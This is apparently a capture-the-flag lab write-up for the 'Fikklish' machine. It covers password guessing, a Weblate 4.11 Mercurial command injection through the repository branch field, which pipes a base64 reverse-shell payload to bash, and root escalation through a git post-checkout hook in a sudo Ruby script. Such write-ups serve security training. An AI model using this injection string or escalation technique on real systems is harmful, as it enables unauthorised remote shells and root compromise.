Fikklish Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 2 min read
Fikklish hosts a bookstore site next to a Weblate 4.11 translation platform. A featured author's name on the bookstore doubles as the Weblate admin password, and Weblate's Mercurial VCS integration passes the branch field straight to hg, giving an authenticated command injection for a shell as tom. A sudo-permitted Ruby script that runs git checkout as root is then hijacked with a malicious post-checkout hook.
Reconnaissance
Nmap
Scan all ports.
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 80/tcp open http Apache httpd 2.4.52 (Ubuntu) 8000/tcp open http WSGIServer 0.2 (Python 3.10.12) - Weblate
Port 80 is a bookstore site, "Book Bargains Online", with featured books and authors. Port 8000 runs Weblate 4.11; its robots.txt discloses admin and source-control paths.
Exploitation
Social engineering the admin password
One of the featured authors is Audrey Niffenegger. The Weblate admin password turns out to match her last name: admin:$ADMIN_PASSWORD.
Weblate authenticated RCE (Mercurial command injection)
Weblate 4.11 passes the Repository branch field unsanitized to hg commands when a component uses the Mercurial VCS backend. Create a project, then a malicious component.
Project name: poc
URL slug: poc
Project website: http://localhost
Version control system: Mercurial
Source code repository: http://localhost:8000
Repository branch: --config=alias.pull=!echo <base64-revshell>|base64 -d|bash
<base64-encoded-payload>
Clicking Continue on the malicious component triggers hg with the injected config, and the listener catches a shell as tom.
Privilege Escalation
Git post-checkout hook via sudo checkout.rb
Check sudo permissions.
User tom may run the following commands on fikklish:
(ALL) /home/tom/checkout.rb
(ALL) /home/tom/fetch.rb
The script initializes a git repo from user input and checks out a branch, both as root.
#!/usr/bin/ruby
require 'git'
puts "Name of the project: "
name = gets
g = Git.init('/root/projects/' + name.chomp)
puts "Location of branch: "
branch = gets
g.checkout(branch.chomp)
Path traversal in the project name points Git.init at a directory we control, and when git checkout fires it runs any post-checkout hook in that repo, as root.
The hook fires as root and sets the SUID bit on /bin/bash.
bash-5.1# id uid=1000(tom) gid=1000(tom) euid=0(root) groups=1000(tom)
Related
References
-
SNYK-PYTHON-WEBLATE-2414088LINK: SNYK-PYTHON-WEBLATE-2414088, security.snyk.io/vuln/SNYK-PYTHON-WEBLATE-2414088 (opens in new tab)
Weblate Mercurial VCS command injection via the repository branch field.